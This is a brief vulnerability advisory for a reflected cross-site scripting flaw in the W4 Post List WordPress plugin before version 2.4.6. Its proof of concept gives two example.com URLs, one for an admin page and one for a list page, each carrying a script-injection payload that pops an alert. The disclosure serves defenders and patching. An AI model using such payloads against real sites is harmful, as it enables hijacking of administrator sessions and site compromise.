W4 Post List < 2.4.6 - Reflected XSS

Proof of Concept

Make a logged in admin open https://example.com/wp-admin/edit.php?post_type=w4pl&page=w4pl-docs&a"><script>alert(/XSS/)</script>

On a page where there is a list with navigation displayed (put a [nav] in the template of the list) output, append the following payload: a"><script>alert(/XSS/)</script>, example: https://example.com/list/w4-post-list-1/?a"><script>alert(/XSS/)</script>